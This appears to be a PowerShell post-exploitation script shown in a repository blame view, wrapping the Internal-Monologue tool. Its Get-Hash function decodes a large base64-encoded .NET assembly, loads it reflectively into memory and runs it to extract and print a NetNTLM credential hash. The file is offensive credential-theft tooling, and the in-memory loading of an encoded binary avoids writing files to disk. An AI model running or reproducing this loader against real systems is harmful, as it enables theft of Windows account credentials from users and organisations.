2018-11-15 14:08:17 +00:00
|
|
|
|
$InternalMonologue = $null
|
|
|
|
|
# https://github.com/eladshamir/Internal-Monologue
|
|
|
|
|
|
|
|
|
|
Function Get-Hash {
|
|
|
|
|
|
|
|
|
|
if ($InternalMonologue -ne "TRUE") {
|
|
|
|
|
$script:InternalMonologue = "TRUE"
|
|
|
|
|
echo "Loading Assembly"
|
2018-12-27 12:10:46 +00:00
|
|
|
|
$PS = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAPw6a60AAAAAAAAAAOAAIiALATAAADgAAAAGAAAAAAAAilYAAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACgAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADhWAABPAAAAAGAAANgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAACMVQAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAkDYAAAAgAAAAOAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAANgDAAAAYAAAAAQAAAA6AAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAAPgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABsVgAAAAAAAEgAAAACAAUATDIAAEAjAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGICAwQFDgQOBXMEAAAGbxkAAAZvLAAABioeAigPAAAKKsoC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0GAAAEAnsGAAAEObgBAAACewUAAAQsCwZyVwIAcG8rAAAGFAsUDBQNAnsDAAAELB8CewUAAAQsCwZyewIAcG8rAAAGAhIBEgISAygTAAAGAnsBAAAEOf4AAAACewUAAAQsCwZysQIAcG8rAAAGKC4AAAoTBBYTBTjPAAAAEQQRBZoTBgIRBgJ7BwAABAJ7BQAABCgXAAAGEwcRBywkBnILAgBwEQdvLAAABignAAAKbysAAAYGEQd7HQAABG8qAAAGAnsCAAAELHwRBm8vAAAKbzAAAAoTCCtMEQhvMQAACnQWAAABEwkCEQkCewcAAAQCewUAAAQoGAAABhMHEQcsJAZyCwIAcBEHbywAAAYoJwAACm8rAAAGBhEHex0AAARvKgAABhEIbzIAAAotq94VEQh1GAAAARMKEQosBxEKbyoAAArcEQUXWBMFEQURBI5pPyb///8rQQJ7BQAABCwLBnLhAgBwbysAAAYCAnsHAAAEFygaAAAGEwsGEQtvKQAABgZyCwIAcBELbygAAAooJwAACm8rAAAGAnsDAAAELGcCewQAAAQsXwJ7BQAABCwLBnJXAwBwbysAAAYCBwgJKBQAAAYrQQJ7BQAABCwLBnKFAwBwbysAAAYCAnsHAAAEFygaAAAGEwwGEQxvKQAABgZyCwIAcBEMbygAAAooJwAACm8rAAAGBioAARAAAAIA5ABZPQEVAAAAABMwDABzAQAABwAAERIAIAAwAAAoJQAABhIBIAAwAAAoJQAABhICEgJ+GwAACiUTCX0TAAAEEQl9EgAABBIDFn0QAAAEEgMWfREAAAQWEwYoJQAACm8mAAAKch4EAHAZfhsAAAp+GwAAChZ+GwAAChICEgMoBwAABiYSAn4bAAAKKCUAAApvJgAACiAACAAAFh8QfhsAAAoWEgQSABIGEgMoCAAABiYSAn4bAAAKEgAgAAgAAB8QEgUSARIGEgMoCgAABiYSASgoAAAGEwcDKB4AAAYELBERBx8WEQcfFpEg9wAAAF/SnBYRBx8YHigzAAAKHxCNKAAAARYR
|
2018-11-15 14:08:17 +00:00
|
|
|
|
$dllbytes = [System.Convert]::FromBase64String($PS)
|
|
|
|
|
$assembly = [System.Reflection.Assembly]::Load($dllbytes)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
$output = [InternalMonologue.Class1]::Main()
|
|
|
|
|
Write-Output ("[+] NetNTLM Hash")
|
|
|
|
|
Write-Output $output
|
|
|
|
|
}
|